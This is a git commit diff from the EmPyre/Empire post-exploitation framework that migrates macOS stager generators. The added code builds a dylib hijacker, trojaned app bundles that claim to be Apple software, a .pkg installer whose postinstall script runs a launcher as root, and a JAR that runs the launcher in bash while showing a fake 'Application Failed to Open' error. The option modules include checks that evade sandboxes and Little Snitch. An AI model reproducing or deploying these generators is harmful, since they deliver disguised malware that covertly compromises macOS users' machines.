Migrated EmPyre stagers from dev branch in EmPyre repo
parent
b246236134
commit
460876d8f0
|
@ -738,23 +738,48 @@ def post_message(uri, data):
|
|||
def get_sysinfo(nonce='00000000'):
|
||||
|
||||
# nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version
|
||||
username = pwd.getpwuid(os.getuid())[0]
|
||||
__FAILED_FUNCTION = '[FAILED QUERY]'
|
||||
|
||||
uid = os.popen('id -u').read().strip()
|
||||
highIntegrity = 'True' if (uid == '0') else False
|
||||
try:
|
||||
username = pwd.getpwuid(os.getuid())[0]
|
||||
except Exception as e:
|
||||
username = __FAILED_FUNCTION
|
||||
try:
|
||||
uid = os.popen('id -u').read().strip()
|
||||
except Exception as e:
|
||||
uid = __FAILED_FUNCTION
|
||||
try:
|
||||
highIntegrity = "True" if (uid == "0") else False
|
||||
except Exception as e:
|
||||
highIntegrity = __FAILED_FUNCTION
|
||||
try:
|
||||
osDetails = os.uname()
|
||||
except Exception as e:
|
||||
osDetails = __FAILED_FUNCTION
|
||||
try:
|
||||
hostname = osDetails[1]
|
||||
except Exception as e:
|
||||
hostname = __FAILED_FUNCTION
|
||||
try:
|
||||
internalIP = socket.gethostbyname(socket.gethostname())
|
||||
except Exception as e:
|
||||
internalIP = __FAILED_FUNCTION
|
||||
|
||||
try:
|
||||
osDetails = ",".join(osDetails)
|
||||
except Exception as e:
|
||||
osDetails = __FAILED_FUNCTION
|
||||
try:
|
||||
processID = os.getpid()
|
||||
except Exception as e:
|
||||
processID = __FAILED_FUNCTION
|
||||
try:
|
||||
temp = sys.version_info
|
||||
pyVersion = "%s.%s" % (temp[0],temp[1])
|
||||
except Exception as e:
|
||||
pyVersion = __FAILED_FUNCTION
|
||||
|
||||
osDetails = os.uname()
|
||||
hostname = osDetails[1]
|
||||
|
||||
internalIP = socket.gethostbyname(socket.gethostname())
|
||||
|
||||
osDetails = ",".join(osDetails)
|
||||
processID = os.getpid()
|
||||
temp = sys.version_info
|
||||
pyVersion = "%s.%s" % (temp[0], temp[1])
|
||||
language = 'python'
|
||||
|
||||
# get the current process name
|
||||
cmd = 'ps %s' % (os.getpid())
|
||||
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
|
||||
out = ps.stdout.read()
|
||||
|
|
|
@ -1,21 +0,0 @@
|
|||
package com.installer.apple;
|
||||
|
||||
import java.io.*;
|
||||
import javax.swing.JOptionPane;
|
||||
|
||||
public class Run{
|
||||
public static void main(String[] args){
|
||||
|
||||
String[] cmd = {
|
||||
"/bin/bash",
|
||||
"-c",
|
||||
"LAUNCHER"
|
||||
};
|
||||
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec(cmd);
|
||||
JOptionPane.showMessageDialog(null, "Application Failed to Open", "Error", JOptionPane.INFORMATION_MESSAGE);
|
||||
}
|
||||
catch (IOException e){}
|
||||
}
|
||||
}
|
|
@ -19,6 +19,9 @@ import imp
|
|||
import helpers
|
||||
import os
|
||||
import macholib.MachO
|
||||
import shutil
|
||||
import zipfile
|
||||
import subprocess
|
||||
|
||||
|
||||
class Stagers:
|
||||
|
@ -206,3 +209,383 @@ class Stagers:
|
|||
return patchedDylib
|
||||
else:
|
||||
print helpers.color("[!] Unable to patch dylib")
|
||||
|
||||
def generate_dylibHijacker(self, attackerDylib, targetDylib, LegitDylibLocation):
|
||||
|
||||
LC_HEADER_SIZE = 0x8
|
||||
|
||||
def checkPrereqs(attackerDYLIB, targetDYLIB):
|
||||
|
||||
if not os.path.exists(targetDYLIB):
|
||||
|
||||
print helpers.color("[!] Path for legitimate dylib is not valid")
|
||||
return False
|
||||
|
||||
attacker = open(attackerDYLIB, 'rb')
|
||||
target = open(targetDYLIB, 'rb')
|
||||
attackDylib = macholib.MachO.MachO(attacker.name)
|
||||
targetDylib = macholib.MachO.MachO(target.name)
|
||||
|
||||
if attackDylib.headers[0].header.cputype != targetDylib.headers[0].header.cputype:
|
||||
print helpers.color("[!] Architecture mismatch!")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def findLoadCommand(fileHandle, targetLoadCommand):
|
||||
#print helpers.color("In findLoadCommand function")
|
||||
#offset of matches load commands
|
||||
matchedOffsets = []
|
||||
|
||||
try:
|
||||
macho = macholib.MachO.MachO(fileHandle.name)
|
||||
if macho:
|
||||
for machoHeader in macho.headers:
|
||||
fileHandle.seek(machoHeader.offset, io.SEEK_SET)
|
||||
fileHandle.seek(machoHeader.mach_header._size_, io.SEEK_CUR)
|
||||
loadCommands = machoHeader.commands
|
||||
|
||||
for loadCommand in loadCommands:
|
||||
|
||||
if targetLoadCommand == loadCommand[0].cmd:
|
||||
matchedOffsets.append(fileHandle.tell())
|
||||
|
||||
fileHandle.seek(loadCommand[0].cmdsize, io.SEEK_CUR)
|
||||
except Exception, e:
|
||||
raise e
|
||||
matchedOffsets = None
|
||||
|
||||
return matchedOffsets
|
||||
|
||||
def configureVersions(attackerDylib, targetDylib):
|
||||
#print helpers.color("In configureVersions function")
|
||||
try:
|
||||
fileHandle = open(targetDylib, 'rb+')
|
||||
|
||||
versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
|
||||
if not versionOffsets or not len(versionOffsets):
|
||||
return False
|
||||
|
||||
fileHandle.seek(versionOffsets[0], io.SEEK_SET)
|
||||
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
|
||||
|
||||
#extract current version
|
||||
currentVersion = fileHandle.read(4)
|
||||
|
||||
#extract compatibility version
|
||||
compatibilityVersion = fileHandle.read(4)
|
||||
|
||||
fileHandle.close()
|
||||
|
||||
fileHandle = open(attackerDYLIB, 'rb+')
|
||||
|
||||
versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
|
||||
|
||||
if not versionOffsets or not len(versionOffsets):
|
||||
return False
|
||||
|
||||
for versionOffset in versionOffsets:
|
||||
|
||||
fileHandle.seek(versionOffset, io.SEEK_SET)
|
||||
|
||||
fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
|
||||
|
||||
#set current version
|
||||
fileHandle.write(currentVersion)
|
||||
|
||||
#set compatability version
|
||||
fileHandle.write(compatibilityVersion)
|
||||
|
||||
fileHandle.close()
|
||||
|
||||
except Exception, e:
|
||||
raise e
|
||||
|
||||
return True
|
||||
|
||||
def configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
|
||||
|
||||
try:
|
||||
fileHandle = open(attackerDylib,'rb+')
|
||||
|
||||
reExportOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_REEXPORT_DYLIB)
|
||||
|
||||
if not reExportOffsets or not len(reExportOffsets):
|
||||
return False
|
||||
|
||||
for reExportOffset in reExportOffsets:
|
||||
|
||||
fileHandle.seek(reExportOffset, io.SEEK_SET)
|
||||
fileHandle.seek(0x4, io.SEEK_CUR)
|
||||
|
||||
commandSize = struct.unpack('<L', fileHandle.read(4))[0]
|
||||
pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
|
||||
|
||||
fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
|
||||
pathSize = commandSize - (fileHandle.tell() - reExportOffset)
|
||||
|
||||
data = LegitDylibLocation + '\\0' * (pathSize - len(LegitDylibLocation))
|
||||
fileHandle.write(data)
|
||||
fileHandle.close()
|
||||
|
||||
except Exception, e:
|
||||
raise e
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def configure(attackerDylib, targetDylib, LegitDylibLocation):
|
||||
#print helpers.color("In configure function")
|
||||
if not configureVersions(attackerDylib, targetDylib):
|
||||
return False
|
||||
|
||||
if not configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
if not checkPrereqs(attackerDYLIB, targetDYLIB):
|
||||
return ""
|
||||
if not configure(attackerDylib, targetDylib, LegitDylibLocation):
|
||||
return ""
|
||||
|
||||
hijacker = open(attackerDylib,'rb')
|
||||
hijackerBytes = hijacker.read()
|
||||
hijacker.close()
|
||||
return hijackerBytes
|
||||
|
||||
def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
|
||||
|
||||
"""
|
||||
Generates an application. The embedded executable is a macho binary with the python interpreter.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
MH_EXECUTE = 2
|
||||
|
||||
if Arch == 'x64':
|
||||
|
||||
f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher")
|
||||
directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/"
|
||||
else:
|
||||
f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher")
|
||||
directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/"
|
||||
|
||||
macho = macholib.MachO.MachO(f.name)
|
||||
|
||||
if int(macho.headers[0].header.filetype) != MH_EXECUTE:
|
||||
print helpers.color("[!] Macho binary template is not the correct filetype")
|
||||
return ""
|
||||
|
||||
cmds = macho.headers[0].commands
|
||||
|
||||
for cmd in cmds:
|
||||
count = 0
|
||||
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
|
||||
count += 1
|
||||
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
|
||||
count += 1
|
||||
for section in cmd[count]:
|
||||
if section.sectname.strip('\x00') == '__cstring':
|
||||
offset = int(section.offset)
|
||||
placeHolderSz = int(section.size) - 52
|
||||
|
||||
template = f.read()
|
||||
f.close()
|
||||
|
||||
if placeHolderSz and offset:
|
||||
|
||||
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
|
||||
patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):]
|
||||
if AppName == "":
|
||||
AppName = "launcher"
|
||||
|
||||
tmpdir = "/tmp/application/%s.app/" % AppName
|
||||
shutil.copytree(directory, tmpdir)
|
||||
f = open(tmpdir + "Contents/MacOS/launcher","wb")
|
||||
if disarm != True:
|
||||
f.write(patchedBinary)
|
||||
f.close()
|
||||
else:
|
||||
t = open(self.mainMenu.installPath+"/data/misc/apptemplateResources/empty/macho",'rb')
|
||||
w = t.read()
|
||||
f.write(w)
|
||||
f.close()
|
||||
t.close()
|
||||
|
||||
os.rename(tmpdir + "Contents/MacOS/launcher",tmpdir + "Contents/MacOS/%s" % AppName)
|
||||
os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0755)
|
||||
|
||||
if icon != '':
|
||||
iconfile = os.path.splitext(icon)[0].split('/')[-1]
|
||||
shutil.copy2(icon,tmpdir+"Contents/Resources/"+iconfile+".icns")
|
||||
else:
|
||||
iconfile = icon
|
||||
appPlist = """<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>BuildMachineOSBuild</key>
|
||||
<string>15G31</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>en</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>%s</string>
|
||||
<key>CFBundleIconFile</key>
|
||||
<string>%s</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.apple.%s</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>%s</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>APPL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0</string>
|
||||
<key>CFBundleSignature</key>
|
||||
<string>????</string>
|
||||
<key>CFBundleSupportedPlatforms</key>
|
||||
<array>
|
||||
<string>MacOSX</string>
|
||||
</array>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1</string>
|
||||
<key>DTCompiler</key>
|
||||
<string>com.apple.compilers.llvm.clang.1_0</string>
|
||||
<key>DTPlatformBuild</key>
|
||||
<string>7D1014</string>
|
||||
<key>DTPlatformVersion</key>
|
||||
<string>GM</string>
|
||||
<key>DTSDKBuild</key>
|
||||
<string>15E60</string>
|
||||
<key>DTSDKName</key>
|
||||
<string>macosx10.11</string>
|
||||
<key>DTXcode</key>
|
||||
<string>0731</string>
|
||||
<key>DTXcodeBuild</key>
|
||||
<string>7D1014</string>
|
||||
<key>LSApplicationCategoryType</key>
|
||||
<string>public.app-category.utilities</string>
|
||||
<key>LSMinimumSystemVersion</key>
|
||||
<string>10.11</string>
|
||||
<key>LSUIElement</key>
|
||||
<true/>
|
||||
<key>NSHumanReadableCopyright</key>
|
||||
<string>Copyright 2016 Apple. All rights reserved.</string>
|
||||
<key>NSMainNibFile</key>
|
||||
<string>MainMenu</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>NSApplication</string>
|
||||
</dict>
|
||||
</plist>
|
||||
""" % (AppName, iconfile, AppName, AppName)
|
||||
f = open(tmpdir+"Contents/Info.plist", "w")
|
||||
f.write(appPlist)
|
||||
f.close()
|
||||
|
||||
shutil.make_archive("/tmp/launcher", 'zip', "/tmp/application")
|
||||
shutil.rmtree('/tmp/application')
|
||||
|
||||
f = open("/tmp/launcher.zip","rb")
|
||||
zipbundle = f.read()
|
||||
f.close()
|
||||
os.remove("/tmp/launcher.zip")
|
||||
return zipbundle
|
||||
|
||||
|
||||
else:
|
||||
print helpers.color("[!] Unable to patch application")
|
||||
|
||||
def generate_pkg(self, launcher, bundleZip, AppName):
|
||||
|
||||
#unzip application bundle zip. Copy everything for the installer pkg to a temporary location
|
||||
currDir = os.getcwd()
|
||||
os.chdir("/tmp/")
|
||||
f = open("app.zip","wb")
|
||||
f.write(bundleZip)
|
||||
f.close()
|
||||
zipf = zipfile.ZipFile('app.zip','r')
|
||||
zipf.extractall()
|
||||
zipf.close()
|
||||
os.remove('app.zip')
|
||||
|
||||
os.system("cp -r "+self.mainMenu.installPath+"/data/misc/pkgbuild/ /tmp/")
|
||||
os.chdir("pkgbuild")
|
||||
os.system("cp -r ../"+AppName+".app root/Applications/")
|
||||
os.system("chmod +x root/Applications/")
|
||||
os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload")
|
||||
os.system("chmod +x expand/Payload")
|
||||
s = open('scripts/postinstall','r+')
|
||||
script = s.read()
|
||||
script = script.replace('LAUNCHER',launcher)
|
||||
s.seek(0)
|
||||
s.write(script)
|
||||
s.close()
|
||||
os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts")
|
||||
os.system("chmod +x expand/Scripts")
|
||||
numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
|
||||
size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
|
||||
size = int(size) / 1024
|
||||
p = open('expand/PackageInfo','w+')
|
||||
pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
|
||||
<pkg-info overwrite-permissions="true" relocatable="false" identifier="com.apple.APPNAME" postinstall-action="none" version="1.0" format-version="2" generator-version="InstallCmds-554 (15G31)" install-location="/" auth="root">
|
||||
<payload numberOfFiles="KEY1" installKBytes="KEY2"/>
|
||||
<bundle path="./APPNAME.app" id="com.apple.APPNAME" CFBundleShortVersionString="1.0" CFBundleVersion="1"/>
|
||||
<bundle-version>
|
||||
<bundle id="com.apple.APPNAME"/>
|
||||
</bundle-version>
|
||||
<upgrade-bundle>
|
||||
<bundle id="com.apple.APPNAME"/>
|
||||
</upgrade-bundle>
|
||||
<update-bundle/>
|
||||
<atomic-update-bundle/>
|
||||
<strict-identifier>
|
||||
<bundle id="com.apple.APPNAME"/>
|
||||
</strict-identifier>
|
||||
<relocate>
|
||||
<bundle id="com.apple.APPNAME"/>
|
||||
</relocate>
|
||||
<scripts>
|
||||
<postinstall file="./postinstall"/>
|
||||
</scripts>
|
||||
</pkg-info>
|
||||
"""
|
||||
pkginfo = pkginfo.replace('APPNAME',AppName)
|
||||
pkginfo = pkginfo.replace('KEY1',numFiles)
|
||||
pkginfo = pkginfo.replace('KEY2',str(size))
|
||||
p.write(pkginfo)
|
||||
p.close()
|
||||
os.system("mkbom -u 0 -g 80 root expand/Bom")
|
||||
os.system("chmod +x expand/Bom")
|
||||
os.system("chmod -R 755 expand/")
|
||||
os.system('( cd expand && xar --compression none -cf "../launcher.pkg" * )')
|
||||
f = open('launcher.pkg','rb')
|
||||
package = f.read()
|
||||
os.chdir("/tmp/")
|
||||
shutil.rmtree('pkgbuild')
|
||||
shutil.rmtree(AppName+".app")
|
||||
return package
|
||||
|
||||
def generate_jar(self, launcherCode):
|
||||
file = open(self.mainMenu.installPath+'/data/misc/Run.java','r')
|
||||
javacode = file.read()
|
||||
file.close()
|
||||
javacode = javacode.replace("LAUNCHER",launcherCode)
|
||||
file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
|
||||
file.write(javacode)
|
||||
file.close()
|
||||
currdir = os.getcwd()
|
||||
os.chdir(self.mainMenu.installPath+'data/misc/classes/')
|
||||
os.system('javac com/installer/apple/Run.java')
|
||||
os.system('jar -cvfm '+self.mainMenu.installPath+'Run.jar ../Manifest.txt com/installer/apple/Run.class')
|
||||
os.chdir(currdir)
|
||||
os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.class')
|
||||
os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java')
|
||||
jarfile = open('Run.jar','rb')
|
||||
jar = jarfile.read()
|
||||
jarfile.close()
|
||||
os.remove('Run.jar')
|
||||
|
||||
return jar
|
|
@ -0,0 +1,100 @@
|
|||
from lib.common import helpers
|
||||
|
||||
|
||||
class Stager:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Application',
|
||||
|
||||
'Author': ['@xorrior'],
|
||||
|
||||
'Description': ('Generates an EmPyre Application.'),
|
||||
|
||||
'Comments': [
|
||||
''
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the stager, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to generate stager for.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Language' : {
|
||||
'Description' : 'Language of the stager to generate.',
|
||||
'Required' : True,
|
||||
'Value' : 'python'
|
||||
},
|
||||
'AppIcon' : {
|
||||
'Description' : 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AppName' : {
|
||||
'Description' : 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OutFile' : {
|
||||
'Description' : 'path to output EmPyre application. The application will be saved to a zip file.',
|
||||
'Required' : True,
|
||||
'Value' : '/tmp/out.zip'
|
||||
},
|
||||
'SafeChecks' : {
|
||||
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
||||
'Required' : True,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Architecture' : {
|
||||
'Description' : 'Architecture to use. x86 or x64',
|
||||
'Required' : True,
|
||||
'Value' : 'x64'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
# extract all of our options
|
||||
language = self.options['Language']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
savePath = self.options['OutFile']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
SafeChecks = self.options['SafeChecks']['Value']
|
||||
arch = self.options['Architecture']['Value']
|
||||
icnsPath = self.options['AppIcon']['Value']
|
||||
AppName = self.options['AppName']['Value']
|
||||
|
||||
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks)
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher command generation.")
|
||||
return ""
|
||||
|
||||
else:
|
||||
disarm = False
|
||||
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher,Arch=arch,icon=icnsPath,AppName=AppName, disarm=disarm)
|
||||
return ApplicationZip
|
|
@ -1,5 +1,5 @@
|
|||
from lib.common import helpers
|
||||
|
||||
import os
|
||||
|
||||
class Stager:
|
||||
|
||||
|
@ -31,8 +31,8 @@ class Stager:
|
|||
'Required' : True,
|
||||
'Value' : 'python'
|
||||
},
|
||||
'Arch' : {
|
||||
'Description' : 'Arch: x86/x64',
|
||||
'Architecture' : {
|
||||
'Description' : 'Architecture: x86/x64',
|
||||
'Required' : True,
|
||||
'Value' : 'x86'
|
||||
},
|
||||
|
@ -46,6 +46,16 @@ class Stager:
|
|||
'Required' : True,
|
||||
'Value' : 'False'
|
||||
},
|
||||
'RPath' : {
|
||||
'Description' : 'Full path of the legitimate dylib as it would be on a target system.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LocalLegitDylib' : {
|
||||
'Description' : 'Local path to the legitimate dylib used in the vulnerable application. Required if Hijacker is set to True.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OutFile' : {
|
||||
'Description' : 'File to write the dylib.',
|
||||
'Required' : True,
|
||||
|
@ -73,9 +83,11 @@ class Stager:
|
|||
language = self.options['Language']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
arch = self.options['Arch']['Value']
|
||||
arch = self.options['Architecture']['Value']
|
||||
hijacker = self.options['Hijacker']['Value']
|
||||
safeChecks = self.options['SafeChecks']['Value']
|
||||
legitDylib = self.options['LocalLegitDylib']['Value']
|
||||
rpath = self.options['RPath']['Value']
|
||||
|
||||
if arch == "":
|
||||
print helpers.color("[!] Please select a valid architecture")
|
||||
|
@ -91,4 +103,13 @@ class Stager:
|
|||
else:
|
||||
launcher = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker)
|
||||
if hijacker.lower() == 'true' and os.path.exists(legitDylib):
|
||||
f = open('/tmp/tmp.dylib', 'wb')
|
||||
f.write(dylib)
|
||||
f.close()
|
||||
|
||||
dylib = self.mainMenu.stagers.generate_dylibHijacker(attackerDylib="/tmp/tmp.dylib", targetDylib=legitDylib, LegitDylibLocation=rpath)
|
||||
os.remove('/tmp/tmp.dylib')
|
||||
|
||||
return dylib
|
||||
|
||||
|
|
|
@ -0,0 +1,77 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Stager:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Jar',
|
||||
|
||||
'Author': ['@xorrior'],
|
||||
|
||||
'Description': ('Generates a JAR file.'),
|
||||
|
||||
'Comments': [
|
||||
''
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the stager, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to generate stager for.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Language' : {
|
||||
'Description' : 'Language of the stager to generate.',
|
||||
'Required' : True,
|
||||
'Value' : 'python'
|
||||
},
|
||||
'SafeChecks' : {
|
||||
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
||||
'Required' : True,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'OutFile' : {
|
||||
'Description' : 'File to output duckyscript to.',
|
||||
'Required' : True,
|
||||
'Value' : '/tmp/out.jar'
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# extract all of our options
|
||||
language = self.options['Language']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
SafeChecks = self.options['SafeChecks']['Value']
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=SafeChecks)
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher command generation.")
|
||||
return ""
|
||||
else:
|
||||
launcher = launcher.replace('"','\\"')
|
||||
jarBytes = self.mainMenu.stagers.generate_jar(launcherCode=launcher)
|
||||
return jarBytes
|
|
@ -0,0 +1,95 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Stager:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'pkg',
|
||||
|
||||
'Author': ['@xorrior'],
|
||||
|
||||
'Description': ('Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications folder. The postinstall script will execute an EmPyre launcher.'),
|
||||
|
||||
'Comments': [
|
||||
''
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the stager, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to generate stager for.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Language' : {
|
||||
'Description' : 'Language of the stager to generate.',
|
||||
'Required' : True,
|
||||
'Value' : 'python'
|
||||
},
|
||||
'AppIcon' : {
|
||||
'Description' : 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AppName' : {
|
||||
'Description' : 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OutFile' : {
|
||||
'Description' : 'File to write dmg volume to.',
|
||||
'Required' : True,
|
||||
'Value' : '/tmp/out.pkg'
|
||||
},
|
||||
'SafeChecks' : {
|
||||
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
|
||||
'Required' : True,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
# extract all of our options
|
||||
language = self.options['Language']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
SafeChecks = self.options['SafeChecks']['Value']
|
||||
icnsPath = self.options['AppIcon']['Value']
|
||||
AppName = self.options['AppName']['Value']
|
||||
arch = 'x64'
|
||||
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks)
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher command generation.")
|
||||
return ""
|
||||
|
||||
else:
|
||||
if AppName == '':
|
||||
AppName = "Update"
|
||||
Disarm=True
|
||||
launcherCode = launcher.strip('echo').strip(' | python &').strip("\"")
|
||||
ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcherCode,Arch=arch,icon=icnsPath,AppName=AppName,disarm=Disarm)
|
||||
pkginstaller = self.mainMenu.stagers.generate_pkg(launcher=launcher,bundleZip=ApplicationZip,AppName=AppName)
|
||||
return pkginstaller
|
Loading…
Reference in New Issue